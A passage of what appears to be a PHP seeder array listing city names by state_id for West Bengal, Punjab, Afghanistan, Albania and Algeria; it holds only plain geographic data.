'41', 'name' => 'mirik'],\n ['state_id' => '41', 'name' => 'monoharpur'],\n ['state_id' => '41', 'name' => 'mrigala'],\n ['state_id' => '41', 'name' => 'muragachha'],\n ['state_id' => '41', 'name' => 'murgathaul'],\n ['state_id' => '41', 'name' => 'murshidabad'],\n ['state_id' => '41', 'name' => 'nabadhai dutta pukur'],\n ['state_id' => '41', 'name' => 'nabagram'],\n ['state_id' => '41', 'name' => 'nabgram'],\n ['state_id' => '41', 'name' => 'nachhratpur katabari'],\n ['state_id' => '41', 'name' => 'nadia'],\n ['state_id' => '41', 'name' => 'naihati'],\n ['state_id' => '41', 'name' => 'nalhati'],\n ['state_id' => '41', 'name' => 'nasra'],\n ['state_id' => '41', 'name' => 'natibpur'],\n ['state_id' => '41', 'name' => 'naupala'],\n ['state_id' => '41', 'name' => 'navadwip'],\n ['state_id' => '41', 'name' => 'nebadhai duttapukur'],\n ['state_id' => '41', 'name' => 'new barrackpore'],\n ['state_id' => '41', 'name' => 'ni barakpur'],\n ['state_id' => '41', 'name' => 'nibra'],\n ['state_id' => '41', 'name' => 'noapara'],\n ['state_id' => '41', 'name' => 'nokpul'],\n ['state_id' => '41', 'name' => 'north barakpur'],\n ['state_id' => '41', 'name' => 'odlabari'],\n ['state_id' => '41', 'name' => 'old maldah'],\n ['state_id' => '41', 'name' => 'ondal'],\n ['state_id' => '41', 'name' => 'pairagachha'],\n ['state_id' => '41', 'name' => 'palashban'],\n ['state_id' => '41', 'name' => 'panchla'],\n ['state_id' => '41', 'name' => 'panchpara'],\n ['state_id' => '41', 'name' => 'pandua'],\n ['state_id' => '41', 'name' => 'pangachhiya'],\n ['state_id' => '41', 'name' => 'paniara'],\n ['state_id' => '41', 'name' => 'panihati'],\n ['state_id' => '41', 'name' => 'panuhat'],\n ['state_id' => '41', 'name' => 'par beliya'],\n ['state_id' => '41', 'name' => 'parashkol'],\n ['state_id' => '41', 'name' => 'parasia'],\n ['state_id' => '41', 'name' => 'parbbatipur'],\n ['state_id' => '41', 'name' => 'parui'],\n ['state_id' => '41', 'name' => 'paschim jitpur'],\n ['state_id' => '41', 'name' => 'paschim punro para'],\n ['state_id' => '41', 'name' => 'patrasaer'],\n ['state_id' => '41', 'name' => 'pattabong tea garden'],\n ['state_id' => '41', 'name' => 'patuli'],\n ['state_id' => '41', 'name' => 'patulia'],\n ['state_id' => '41', 'name' => 'phulia'],\n ['state_id' => '41', 'name' => 'podara'],\n ['state_id' => '41', 'name' => 'port blair'],\n ['state_id' => '41', 'name' => 'prayagpur'],\n ['state_id' => '41', 'name' => 'pujali'],\n ['state_id' => '41', 'name' => 'purba medinipur'],\n ['state_id' => '41', 'name' => 'purba tajpur'],\n ['state_id' => '41', 'name' => 'purulia'],\n ['state_id' => '41', 'name' => 'raghudebbati'],\n ['state_id' => '41', 'name' => 'raghudebpur'],\n ['state_id' => '41', 'name' => 'raghunathchak'],\n ['state_id' => '41', 'name' => 'raghunathpur'],\n ['state_id' => '41', 'name' => 'raghunathpur-dankuni'],\n ['state_id' => '41', 'name' => 'raghunathpur-magra'],\n ['state_id' => '41', 'name' => 'raigachhi'],\n ['state_id' => '41', 'name' => 'raiganj'],\n ['state_id' => '41', 'name' => 'raipur'],\n ['state_id' => '41', 'name' => 'rajarhat gopalpur'],\n ['state_id' => '41', 'name' => 'rajpur'],\n ['state_id' => '41', 'name' => 'ramchandrapur'],\n ['state_id' => '41', 'name' => 'ramjibanpur'],\n ['state_id' => '41', 'name' => 'ramnagar'],\n ['state_id' => '41', 'name' => 'rampur hat'],\n ['state_id' => '41', 'name' => 'ranaghat'],\n ['state_id' => '41', 'name' => 'raniganj'],\n ['state_id' => '41', 'name' => 'ratibati'],\n ['state_id' => '41', 'name' => 'raypur'],\n ['state_id' => '41', 'name' => 'rishra'],\n ['state_id' => '41', 'name' => 'rishra cantonment'],\n ['state_id' => '41', 'name' => 'ruiya'],\n ['state_id' => '41', 'name' => 'sahajadpur'],\n ['state_id' => '41', 'name' => 'sahapur'],\n ['state_id' => '41', 'name' => 'sainthia'],\n ['state_id' => '41', 'name' => 'salap'],\n ['state_id' => '41', 'name' => 'sankarpur'],\n ['state_id' => '41', 'name' => 'sankrail'],\n ['state_id' => '41', 'name' => 'santoshpur'],\n ['state_id' => '41', 'name' => 'saontaidih'],\n ['state_id' => '41', 'name' => 'sarenga'],\n ['state_id' => '41', 'name' => 'sarpi'],\n ['state_id' => '41', 'name' => 'satigachha'],\n ['state_id' => '41', 'name' => 'serpur'],\n ['state_id' => '41', 'name' => 'shankhanagar'],\n ['state_id' => '41', 'name' => 'shantipur'],\n ['state_id' => '41', 'name' => 'shrirampur'],\n ['state_id' => '41', 'name' => 'siduli'],\n ['state_id' => '41', 'name' => 'siliguri'],\n ['state_id' => '41', 'name' => 'simla'],\n ['state_id' => '41', 'name' => 'singur'],\n ['state_id' => '41', 'name' => 'sirsha'],\n ['state_id' => '41', 'name' => 'siuri'],\n ['state_id' => '41', 'name' => 'sobhaganj'],\n ['state_id' => '41', 'name' => 'sodpur'],\n ['state_id' => '41', 'name' => 'sonamukhi'],\n ['state_id' => '41', 'name' => 'sonatikiri'],\n ['state_id' => '41', 'name' => 'srikantabati'],\n ['state_id' => '41', 'name' => 'srirampur'],\n ['state_id' => '41', 'name' => 'sukdal'],\n ['state_id' => '41', 'name' => 'taherpur'],\n ['state_id' => '41', 'name' => 'taki'],\n ['state_id' => '41', 'name' => 'talbandha'],\n ['state_id' => '41', 'name' => 'tamluk'],\n ['state_id' => '41', 'name' => 'tarakeswar'],\n ['state_id' => '41', 'name' => 'tentulberia'],\n ['state_id' => '41', 'name' => 'tentulkuli'],\n ['state_id' => '41', 'name' => 'thermal power project'],\n ['state_id' => '41', 'name' => 'tinsukia'],\n ['state_id' => '41', 'name' => 'titagarh'],\n ['state_id' => '41', 'name' => 'tufanganj'],\n ['state_id' => '41', 'name' => 'ukhra'],\n ['state_id' => '41', 'name' => 'ula'],\n ['state_id' => '41', 'name' => 'ulubaria'],\n ['state_id' => '41', 'name' => 'uttar durgapur'],\n ['state_id' => '41', 'name' => 'uttar goara'],\n ['state_id' => '41', 'name' => 'uttar kalas'],\n ['state_id' => '41', 'name' => 'uttar kamakhyaguri'],\n ['state_id' => '41', 'name' => 'uttar latabari'],\n ['state_id' => '41', 'name' => 'uttar mahammadpur'],\n ['state_id' => '41', 'name' => 'uttar pirpur'],\n ['state_id' => '41', 'name' => 'uttar raypur'],\n ['state_id' => '41', 'name' => 'uttarpara-kotrung'],\n ['state_id' => '2728', 'name' => 'abohar'],\n ['state_id' => '2728', 'name' => 'adampur'],\n ['state_id' => '2728', 'name' => 'ahmedgarh'],\n ['state_id' => '2728', 'name' => 'ajnala'],\n ['state_id' => '2728', 'name' => 'akalgarh'],\n ['state_id' => '2728', 'name' => 'alawalpur'],\n ['state_id' => '2728', 'name' => 'amloh'],\n ['state_id' => '2728', 'name' => 'amritsar'],\n ['state_id' => '2728', 'name' => 'amritsar cantonment'],\n ['state_id' => '2728', 'name' => 'anandpur sahib'],\n ['state_id' => '2728', 'name' => 'badhni kalan'],\n ['state_id' => '2728', 'name' => 'bagh purana'],\n ['state_id' => '2728', 'name' => 'balachaur'],\n ['state_id' => '2728', 'name' => 'banaur'],\n ['state_id' => '2728', 'name' => 'banga'],\n ['state_id' => '2728', 'name' => 'banur'],\n ['state_id' => '2728', 'name' => 'baretta'],\n ['state_id' => '2728', 'name' => 'bariwala'],\n ['state_id' => '2728', 'name' => 'barnala'],\n ['state_id' => '2728', 'name' => 'bassi pathana'],\n ['state_id' => '2728', 'name' => 'batala'],\n ['state_id' => '2728', 'name' => 'bathinda'],\n ['state_id' => '2728', 'name' => 'begowal'],\n ['state_id' => '2728', 'name' => 'behrampur'],\n ['state_id' => '2728', 'name' => 'bhabat'],\n ['state_id' => '2728', 'name' => 'bhadur'],\n ['state_id' => '2728', 'name' => 'bhankharpur'],\n ['state_id' => '2728', 'name' => 'bharoli kalan'],\n ['state_id' => '2728', 'name' => 'bhawanigarh'],\n ['state_id' => '2728', 'name' => 'bhikhi'],\n ['state_id' => '2728', 'name' => 'bhikhiwind'],\n ['state_id' => '2728', 'name' => 'bhisiana'],\n ['state_id' => '2728', 'name' => 'bhogpur'],\n ['state_id' => '2728', 'name' => 'bhuch'],\n ['state_id' => '2728', 'name' => 'bhulath'],\n ['state_id' => '2728', 'name' => 'budha theh'],\n ['state_id' => '2728', 'name' => 'budhlada'],\n ['state_id' => '2728', 'name' => 'chima'],\n ['state_id' => '2728', 'name' => 'chohal'],\n ['state_id' => '2728', 'name' => 'dasuya'],\n ['state_id' => '2728', 'name' => 'daulatpur'],\n ['state_id' => '2728', 'name' => 'dera baba nanak'],\n ['state_id' => '2728', 'name' => 'dera bassi'],\n ['state_id' => '2728', 'name' => 'dhanaula'],\n ['state_id' => '2728', 'name' => 'dharam kot'],\n ['state_id' => '2728', 'name' => 'dhariwal'],\n ['state_id' => '2728', 'name' => 'dhilwan'],\n ['state_id' => '2728', 'name' => 'dhuri'],\n ['state_id' => '2728', 'name' => 'dinanagar'],\n ['state_id' => '2728', 'name' => 'dirba'],\n ['state_id' => '2728', 'name' => 'doraha'],\n ['state_id' => '2728', 'name' => 'faridkot'],\n ['state_id' => '2728', 'name' => 'fateh nangal'],\n ['state_id' => '2728', 'name' => 'fatehgarh churian'],\n ['state_id' => '2728', 'name' => 'fatehgarh sahib'],\n ['state_id' => '2728', 'name' => 'fazilka'],\n ['state_id' => '2728', 'name' => 'firozpur'],\n ['state_id' => '2728', 'name' => 'firozpur cantonment'],\n ['state_id' => '2728', 'name' => 'gardhiwala'],\n ['state_id' => '2728', 'name' => 'garhshankar'],\n ['state_id' => '2728', 'name' => 'ghagga'],\n ['state_id' => '2728', 'name' => 'ghanaur'],\n ['state_id' => '2728', 'name' => 'giddarbaha'],\n ['state_id' => '2728', 'name' => 'gobindgarh'],\n ['state_id' => '2728', 'name' => 'goniana'],\n ['state_id' => '2728', 'name' => 'goraya'],\n ['state_id' => '2728', 'name' => 'gurdaspur'],\n ['state_id' => '2728', 'name' => 'guru har sahai'],\n ['state_id' => '2728', 'name' => 'hajipur'],\n ['state_id' => '2728', 'name' => 'handiaya'],\n ['state_id' => '2728', 'name' => 'hariana'],\n ['state_id' => '2728', 'name' => 'hoshiarpur'],\n ['state_id' => '2728', 'name' => 'hussainpur'],\n ['state_id' => '2728', 'name' => 'jagraon'],\n ['state_id' => '2728', 'name' => 'jaitu'],\n ['state_id' => '2728', 'name' => 'jalalabad'],\n ['state_id' => '2728', 'name' => 'jalandhar'],\n ['state_id' => '2728', 'name' => 'jalandhar cantonment'],\n ['state_id' => '2728', 'name' => 'jandiala'],\n ['state_id' => '2728', 'name' => 'jugial'],\n ['state_id' => '2728', 'name' => 'kalanaur'],\n ['state_id' => '2728', 'name' => 'kapurthala'],\n ['state_id' => '2728', 'name' => 'karoran'],\n ['state_id' => '2728', 'name' => 'kartarpur'],\n ['state_id' => '2728', 'name' => 'khamanon'],\n ['state_id' => '2728', 'name' => 'khanauri'],\n ['state_id' => '2728', 'name' => 'khanna'],\n ['state_id' => '2728', 'name' => 'kharar'],\n ['state_id' => '2728', 'name' => 'khem karan'],\n ['state_id' => '2728', 'name' => 'kot fatta'],\n ['state_id' => '2728', 'name' => 'kot isa khan'],\n ['state_id' => '2728', 'name' => 'kot kapura'],\n ['state_id' => '2728', 'name' => 'kotkapura'],\n ['state_id' => '2728', 'name' => 'kurali'],\n ['state_id' => '2728', 'name' => 'lalru'],\n ['state_id' => '2728', 'name' => 'lehra gaga'],\n ['state_id' => '2728', 'name' => 'lodhian khas'],\n ['state_id' => '2728', 'name' => 'longowal'],\n ['state_id' => '2728', 'name' => 'ludhiana'],\n ['state_id' => '2728', 'name' => 'machhiwara'],\n ['state_id' => '2728', 'name' => 'mahilpur'],\n ['state_id' => '2728', 'name' => 'majitha'],\n ['state_id' => '2728', 'name' => 'makhu'],\n ['state_id' => '2728', 'name' => 'malaut'],\n ['state_id' => '2728', 'name' => 'malerkotla'],\n ['state_id' => '2728', 'name' => 'maloud'],\n ['state_id' => '2728', 'name' => 'mandi gobindgarh'],\n ['state_id' => '2728', 'name' => 'mansa'],\n ['state_id' => '2728', 'name' => 'maur'],\n ['state_id' => '2728', 'name' => 'moga'],\n ['state_id' => '2728', 'name' => 'mohali'],\n ['state_id' => '2728', 'name' => 'moonak'],\n ['state_id' => '2728', 'name' => 'morinda'],\n ['state_id' => '2728', 'name' => 'mukerian'],\n ['state_id' => '2728', 'name' => 'muktsar'],\n ['state_id' => '2728', 'name' => 'mullanpur dakha'],\n ['state_id' => '2728', 'name' => 'mullanpur garibdas'],\n ['state_id' => '2728', 'name' => 'munak'],\n ['state_id' => '2728', 'name' => 'muradpura'],\n ['state_id' => '2728', 'name' => 'nabha'],\n ['state_id' => '2728', 'name' => 'nakodar'],\n ['state_id' => '2728', 'name' => 'nangal'],\n ['state_id' => '2728', 'name' => 'nawashahr'],\n ['state_id' => '2728', 'name' => 'naya nangal'],\n ['state_id' => '2728', 'name' => 'nehon'],\n ['state_id' => '2728', 'name' => 'nurmahal'],\n ['state_id' => '2728', 'name' => 'pathankot'],\n ['state_id' => '2728', 'name' => 'patiala'],\n ['state_id' => '2728', 'name' => 'patti'],\n ['state_id' => '2728', 'name' => 'pattran'],\n ['state_id' => '2728', 'name' => 'payal'],\n ['state_id' => '2728', 'name' => 'phagwara'],\n ['state_id' => '2728', 'name' => 'phillaur'],\n ['state_id' => '2728', 'name' => 'qadian'],\n ['state_id' => '2728', 'name' => 'rahon'],\n ['state_id' => '2728', 'name' => 'raikot'],\n ['state_id' => '2728', 'name' => 'raja sansi'],\n ['state_id' => '2728', 'name' => 'rajpura'],\n ['state_id' => '2728', 'name' => 'ram das'],\n ['state_id' => '2728', 'name' => 'raman'],\n ['state_id' => '2728', 'name' => 'rampura'],\n ['state_id' => '2728', 'name' => 'rayya'],\n ['state_id' => '2728', 'name' => 'rupnagar'],\n ['state_id' => '2728', 'name' => 'rurki kasba'],\n ['state_id' => '2728', 'name' => 'sahnewal'],\n ['state_id' => '2728', 'name' => 'samana'],\n ['state_id' => '2728', 'name' => 'samrala'],\n ['state_id' => '2728', 'name' => 'sanaur'],\n ['state_id' => '2728', 'name' => 'sangat'],\n ['state_id' => '2728', 'name' => 'sangrur'],\n ['state_id' => '2728', 'name' => 'sansarpur'],\n ['state_id' => '2728', 'name' => 'sardulgarh'],\n ['state_id' => '2728', 'name' => 'shahkot'],\n ['state_id' => '2728', 'name' => 'sham churasi'],\n ['state_id' => '2728', 'name' => 'shekhpura'],\n ['state_id' => '2728', 'name' => 'sirhind'],\n ['state_id' => '2728', 'name' => 'sri hargobindpur'],\n ['state_id' => '2728', 'name' => 'sujanpur'],\n ['state_id' => '2728', 'name' => 'sultanpur lodhi'],\n ['state_id' => '2728', 'name' => 'sunam'],\n ['state_id' => '2728', 'name' => 'talwandi bhai'],\n ['state_id' => '2728', 'name' => 'talwara'],\n ['state_id' => '2728', 'name' => 'tappa'],\n ['state_id' => '2728', 'name' => 'tarn taran'],\n ['state_id' => '2728', 'name' => 'urmar tanda'],\n ['state_id' => '2728', 'name' => 'zira'],\n ['state_id' => '2728', 'name' => 'zirakpur'],\n ['state_id' => '42', 'name' => 'eshkashem'],\n ['state_id' => '42', 'name' => 'fayzabad'],\n ['state_id' => '42', 'name' => 'jurm'],\n ['state_id' => '42', 'name' => 'khandud'],\n ['state_id' => '42', 'name' => 'qal\\'eh-ye panjeh'],\n ['state_id' => '43', 'name' => 'bala morghab'],\n ['state_id' => '43', 'name' => 'qal\\'eh-ye naw'],\n ['state_id' => '44', 'name' => 'andarab'],\n ['state_id' => '44', 'name' => 'baghlan'],\n ['state_id' => '44', 'name' => 'dahaneh-ye ghawri'],\n ['state_id' => '44', 'name' => 'nahrin'],\n ['state_id' => '44', 'name' => 'pol-e khumri'],\n ['state_id' => '45', 'name' => 'balkh'],\n ['state_id' => '45', 'name' => 'dawlatabad'],\n ['state_id' => '45', 'name' => 'mazar-e sharif'],\n ['state_id' => '45', 'name' => 'qarchi gak'],\n ['state_id' => '45', 'name' => 'shulgara'],\n ['state_id' => '45', 'name' => 'tash gozar'],\n ['state_id' => '46', 'name' => 'bamiyan'],\n ['state_id' => '46', 'name' => 'panjab'],\n ['state_id' => '46', 'name' => 'qil qal\\'eh'],\n ['state_id' => '47', 'name' => 'anar darreh'],\n ['state_id' => '47', 'name' => 'farah'],\n ['state_id' => '47', 'name' => 'shindand'],\n ['state_id' => '48', 'name' => 'andkhvoy'],\n ['state_id' => '48', 'name' => 'darzi ab'],\n ['state_id' => '48', 'name' => 'dawlatabad'],\n ['state_id' => '48', 'name' => 'maymanah'],\n ['state_id' => '49', 'name' => 'chaghcharan'],\n ['state_id' => '49', 'name' => 'shahrak'],\n ['state_id' => '49', 'name' => 'taywarah'],\n ['state_id' => '50', 'name' => 'ghazni'],\n ['state_id' => '51', 'name' => 'awbeh'],\n ['state_id' => '51', 'name' => 'eslam qal\\'eh'],\n ['state_id' => '51', 'name' => 'ghurian'],\n ['state_id' => '51', 'name' => 'herat'],\n ['state_id' => '51', 'name' => 'karukh'],\n ['state_id' => '51', 'name' => 'kuhestan'],\n ['state_id' => '51', 'name' => 'kushk'],\n ['state_id' => '51', 'name' => 'qarabagh'],\n ['state_id' => '51', 'name' => 'tawraghudi'],\n ['state_id' => '51', 'name' => 'tir pol'],\n ['state_id' => '51', 'name' => 'zendejan'],\n ['state_id' => '52', 'name' => 'baghran'],\n ['state_id' => '52', 'name' => 'darwishan'],\n ['state_id' => '52', 'name' => 'deh shu'],\n ['state_id' => '52', 'name' => 'gereshk'],\n ['state_id' => '52', 'name' => 'lashkar gah'],\n ['state_id' => '52', 'name' => 'sangin'],\n ['state_id' => '53', 'name' => 'aqchah'],\n ['state_id' => '53', 'name' => 'qarqin'],\n ['state_id' => '53', 'name' => 'sang-e charak'],\n ['state_id' => '53', 'name' => 'shibarghan'],\n ['state_id' => '54', 'name' => 'baghrami'],\n ['state_id' => '54', 'name' => 'kabul'],\n ['state_id' => '54', 'name' => 'mir bachchekut'],\n ['state_id' => '54', 'name' => 'paghman'],\n ['state_id' => '54', 'name' => 'qarabagh'],\n ['state_id' => '54', 'name' => 'sarawbi'],\n ['state_id' => '55', 'name' => 'mahmud-e raqi'],\n ['state_id' => '55', 'name' => 'taghab'],\n ['state_id' => '56', 'name' => 'khawst'],\n ['state_id' => '57', 'name' => 'asadabad'],\n ['state_id' => '57', 'name' => 'asmar'],\n ['state_id' => '58', 'name' => 'mehtar lam'],\n ['state_id' => '59', 'name' => 'azraw'],\n ['state_id' => '59', 'name' => 'baraki barak'],\n ['state_id' => '59', 'name' => 'pol-e alam'],\n ['state_id' => '60', 'name' => 'achin'],\n ['state_id' => '60', 'name' => 'batsawul'],\n ['state_id' => '60', 'name' => 'hugyani'],\n ['state_id' => '60', 'name' => 'jalalabad'],\n ['state_id' => '60', 'name' => 'nader shah kawt'],\n ['state_id' => '61', 'name' => 'chahar burjak'],\n ['state_id' => '61', 'name' => 'chakhansur'],\n ['state_id' => '61', 'name' => 'khash'],\n ['state_id' => '61', 'name' => 'mirabad'],\n ['state_id' => '61', 'name' => 'rudbar'],\n ['state_id' => '61', 'name' => 'zaranj'],\n ['state_id' => '62', 'name' => 'nuristan'],\n ['state_id' => '63', 'name' => 'orgun'],\n ['state_id' => '63', 'name' => 'zareh sharan'],\n ['state_id' => '63', 'name' => 'zarghun shahr'],\n ['state_id' => '64', 'name' => '\\'ali khayl'],\n ['state_id' => '64', 'name' => 'ghardez'],\n ['state_id' => '65', 'name' => 'charikar'],\n ['state_id' => '65', 'name' => 'jabal-os-saraj'],\n ['state_id' => '66', 'name' => 'qandahar'],\n ['state_id' => '67', 'name' => 'dasht-e archa'],\n ['state_id' => '67', 'name' => 'emam saheb'],\n ['state_id' => '67', 'name' => 'hazart imam'],\n ['state_id' => '67', 'name' => 'khanabad'],\n ['state_id' => '67', 'name' => 'qal\\'eh-ye zal'],\n ['state_id' => '67', 'name' => 'qunduz'],\n ['state_id' => '68', 'name' => 'aybak'],\n ['state_id' => '68', 'name' => 'kholm'],\n ['state_id' => '70', 'name' => 'chah ab'],\n ['state_id' => '70', 'name' => 'eshkamesh'],\n ['state_id' => '70', 'name' => 'farkhar'],\n ['state_id' => '70', 'name' => 'khwajeh ghar'],\n ['state_id' => '70', 'name' => 'rostaq'],\n ['state_id' => '70', 'name' => 'taloqan'],\n ['state_id' => '70', 'name' => 'yangi qal\\'eh'],\n ['state_id' => '71', 'name' => 'deh rawud'],\n ['state_id' => '71', 'name' => 'gaz ab'],\n ['state_id' => '71', 'name' => 'tarin kawt'],\n ['state_id' => '71', 'name' => 'uruzgan'],\n ['state_id' => '72', 'name' => 'gardan diwal'],\n ['state_id' => '72', 'name' => 'maydanshahr'],\n ['state_id' => '73', 'name' => 'qalat-e ghilzay'],\n ['state_id' => '74', 'name' => 'berat'],\n ['state_id' => '74', 'name' => 'polican'],\n ['state_id' => '74', 'name' => 'ure vajgurore'],\n ['state_id' => '75', 'name' => 'bulqize'],\n ['state_id' => '76', 'name' => 'delvine'],\n ['state_id' => '77', 'name' => 'bilisht'],\n ['state_id' => '78', 'name' => 'maqellare'],\n ['state_id' => '78', 'name' => 'peshkopi'],\n ['state_id' => '79', 'name' => 'durres'],\n ['state_id' => '79', 'name' => 'shijak'],\n ['state_id' => '80', 'name' => 'cerrik'],\n ['state_id' => '80', 'name' => 'elbasan'],\n ['state_id' => '80', 'name' => 'kerrabe'],\n ['state_id' => '81', 'name' => 'fier'],\n ['state_id' => '81', 'name' => 'patos'],\n ['state_id' => '81', 'name' => 'roskovec'],\n ['state_id' => '82', 'name' => 'gjirokaster'],\n ['state_id' => '82', 'name' => 'libohove'],\n ['state_id' => '83', 'name' => 'gramsh'],\n ['state_id' => '84', 'name' => 'krume'],\n ['state_id' => '85', 'name' => 'kavaje'],\n ['state_id' => '86', 'name' => 'erseke'],\n ['state_id' => '86', 'name' => 'leskovik'],\n ['state_id' => '87', 'name' => 'korce'],\n ['state_id' => '87', 'name' => 'maliq'],\n ['state_id' => '88', 'name' => 'fushe-kruje'],\n ['state_id' => '88', 'name' => 'kruje'],\n ['state_id' => '88', 'name' => 'mamurras'],\n ['state_id' => '88', 'name' => 'milot'],\n ['state_id' => '89', 'name' => 'kucove'],\n ['state_id' => '90', 'name' => 'kukes'],\n ['state_id' => '91', 'name' => 'lac'],\n ['state_id' => '92', 'name' => 'lezhe'],\n ['state_id' => '92', 'name' => 'shengjin'],\n ['state_id' => '93', 'name' => 'librazhd'],\n ['state_id' => '93', 'name' => 'perrenjas'],\n ['state_id' => '94', 'name' => 'lushnje'],\n ['state_id' => '94', 'name' => 'rrogozhine'],\n ['state_id' => '95', 'name' => 'ballsh'],\n ['state_id' => '97', 'name' => 'burrel'],\n ['state_id' => '97', 'name' => 'klos'],\n ['state_id' => '97', 'name' => 'kraste'],\n ['state_id' => '97', 'name' => 'ulze'],\n ['state_id' => '98', 'name' => 'kurbnesh'],\n ['state_id' => '98', 'name' => 'rreshen'],\n ['state_id' => '98', 'name' => 'rubik'],\n ['state_id' => '99', 'name' => 'peqin'],\n ['state_id' => '100', 'name' => 'kelcyre'],\n ['state_id' => '100', 'name' => 'permet'],\n ['state_id' => '101', 'name' => 'pogradec'],\n ['state_id' => '102', 'name' => 'fierze'],\n ['state_id' => '102', 'name' => 'fushe-arrez'],\n ['state_id' => '102', 'name' => 'puke'],\n ['state_id' => '103', 'name' => 'konispol'],\n ['state_id' => '103', 'name' => 'sarande'],\n ['state_id' => '104', 'name' => 'shkoder'],\n ['state_id' => '105', 'name' => 'corovode'],\n ['state_id' => '106', 'name' => 'memaliaj'],\n ['state_id' => '106', 'name' => 'tepelene'],\n ['state_id' => '107', 'name' => 'kamze'],\n ['state_id' => '107', 'name' => 'paskuqan'],\n ['state_id' => '107', 'name' => 'tirane'],\n ['state_id' => '107', 'name' => 'vore'],\n ['state_id' => '108', 'name' => 'bajram curri'],\n ['state_id' => '109', 'name' => 'himare'],\n ['state_id' => '109', 'name' => 'orikum'],\n ['state_id' => '109', 'name' => 'selenice'],\n ['state_id' => '109', 'name' => 'vlore'],\n ['state_id' => '112', 'name' => 'adrar'],\n ['state_id' => '112', 'name' => 'awlaf'],\n ['state_id' => '112', 'name' => 'rijan'],\n ['state_id' => '112', 'name' => 'timimun'],\n ['state_id' => '113', 'name' => 'hydra'],\n ['state_id' => '113', 'name' => 'kouba'],\n ['state_id' => '114', 'name' => 'annabah'],\n ['state_id' => '114', 'name' => 'birrahhal'],\n ['state_id' => '114', 'name' => 'saraydih'],\n ['state_id' => '114', 'name' => 'sidi amar'],\n ['state_id' => '114', 'name' => 'al-buni'],\n ['state_id' => '114', 'name' => 'al-hajar'],\n ['state_id' => '115', 'name' => '\\'abadlah'],\n ['state_id' => '115', 'name' => 'bani wanif'],\n ['state_id' => '115', 'name' => 'bashshar'],\n ['state_id' => '115', 'name' => 'qanadsan'],\n ['state_id' => '115', 'name' => 'taghit'],\n ['state_id' => '116', 'name' => '\\'aris'],\n ['state_id' => '116', 'name' => '\\'ayn tutah'],\n ['state_id' => '116', 'name' => 'barikah'],\n ['state_id' => '116', 'name' => 'batnah'],\n ['state_id' => '116', 'name' => 'marwanah'],\n ['state_id' => '116', 'name' => 'naghaus'],\n ['state_id' => '116', 'name' => 'ra\\'s-al-\\'ayun'],\n ['state_id' => '116', 'name' => 'tazult'],\n ['state_id' => '117', 'name' => '\\'ayt rizin'],\n ['state_id' => '117', 'name' => 'akbu'],\n ['state_id' => '117', 'name' => 'amizur'],\n ['state_id' => '117', 'name' => 'barbasha'],\n ['state_id' => '117', 'name' => 'bijayah'],\n ['state_id' => '117', 'name' => 'farrawn'],\n ['state_id' => '117', 'name' => 'ighram'],\n ['state_id' => '117', 'name' => 'sadduk'],\n ['state_id' => '117', 'name' => 'shamini'],\n ['state_id' => '117', 'name' => 'sidi \\'aysh'],\n ['state_id' => '117', 'name' => 'taskaryut'],\n ['state_id' => '117', 'name' => 'tazmalt'],\n ['state_id' => '117', 'name' => 'timazrit'],\n ['state_id' => '117', 'name' => 'uz-al-laqin'],\n ['state_id' => '117', 'name' => 'al-qasr'],\n ['state_id' => '118', 'name' => 'awlad jallal'],\n ['state_id' => '118', 'name' => 'biskrah'],\n ['state_id' => '118', 'name' => 'sidi khalid'],\n ['state_id' => '118', 'name' => 'sidi ukbah'],\n ['state_id' => '118', 'name' => 'tulja'],\n ['state_id' => '118', 'name' => 'um\\'ash'],\n ['state_id' => '118', 'name' => 'zaribat-al-wad'],\n ['state_id' => '119', 'name' => 'awlad salam'],\n ['state_id' => '119', 'name' => 'awlad yaysh'],\n ['state_id' => '119', 'name' => 'bani khalil'],\n ['state_id' => '119', 'name' => 'bani marad'],\n ['state_id' => '119', 'name' => 'bani tamu'],\n ['state_id' => '119', 'name' => 'blidah'],\n ['state_id' => '119', 'name' => 'bu arfa'],\n ['state_id' => '119', 'name' => 'bufarik'],\n ['state_id' => '119', 'name' => 'buinan'],\n ['state_id' => '119', 'name' => 'buqara'],\n ['state_id' => '119', 'name' => 'maftah'],\n ['state_id' => '119', 'name' => 'muzayah'],\n ['state_id' => '119', 'name' => 'shabli'],\n ['state_id' => '119', 'name' => 'shari\\'ah'],\n ['state_id' => '119', 'name' => 'shiffa'],\n ['state_id' => '119', 'name' => 'sidi mussa'],\n ['state_id' => '119', 'name' => 'suma'],\n ['state_id' => '119', 'name' => 'wadi al-allagh'],\n ['state_id' => '119', 'name' => 'al-\\'afrun'],\n ['state_id' => '119', 'name' => 'al-arba\\'a'],\n ['state_id' => '120', 'name' => '\\'ayn bissim'],\n ['state_id' => '120', 'name' => 'aghbalu'],\n ['state_id' => '120', 'name' => 'bi\\'r ghabalu'],\n ['state_id' => '120', 'name' => 'buirah'],\n ['state_id' => '120', 'name' => 'lakhdariyah'],\n ['state_id' => '120', 'name' => 'shurfa'],\n ['state_id' => '120', 'name' => 'sur-al-ghuzlan'],\n ['state_id' => '121', 'name' => '\\'ayn tayah'],\n ['state_id' => '121', 'name' => 'awlad haddaj'],\n ['state_id' => '121', 'name' => 'awlad mussa'],\n ['state_id' => '121', 'name' => 'bani amran'],\n ['state_id' => '121', 'name' => 'budwawu'],\n ['state_id' => '121', 'name' => 'budwawu al-bahri'],\n ['state_id' => '121', 'name' => 'bumardas'],\n ['state_id' => '121', 'name' => 'burj minayal'],\n ['state_id' => '121', 'name' => 'dalis'],\n ['state_id' => '121', 'name' => 'hammadi'],\n ['state_id' => '121', 'name' => 'issar'],\n ['state_id' => '121', 'name' => 'khamis-al-khashnah'],\n ['state_id' => '121', 'name' => 'nasiriyah'],\n ['state_id' => '121', 'name' => 'raghayah'],\n ['state_id' => '121', 'name' => 'sa\\'abat'],\n ['state_id' => '121', 'name' => 'tinyah'],\n ['state_id' => '121', 'name' => 'al-arba\\'a tash'],\n ['state_id' => '121', 'name' => 'ar-ruwibah'],\n ['state_id' => '123', 'name' => 'ammi mussa'],\n ['state_id' => '123', 'name' => 'ghalizan'],\n ['state_id' => '123', 'name' => 'jidiwiyah'],\n ['state_id' => '123', 'name' => 'mazunah'],\n ['state_id' => '123', 'name' => 'sidi muhammad ban \\'ali'],\n ['state_id' => '123', 'name' => 'wadi rahiyu'],\n ['state_id' => '123', 'name' => 'zammurah'],\n ['state_id' => '124', 'name' => 'biryan'],\n ['state_id' => '124', 'name' => 'bu nura'],\n ['state_id' => '124', 'name' => 'ghardaia'],\n ['state_id' => '124', 'name' => 'ghardayah'],\n ['state_id' => '124', 'name' => 'matlili'],\n ['state_id' => '124', 'name' => 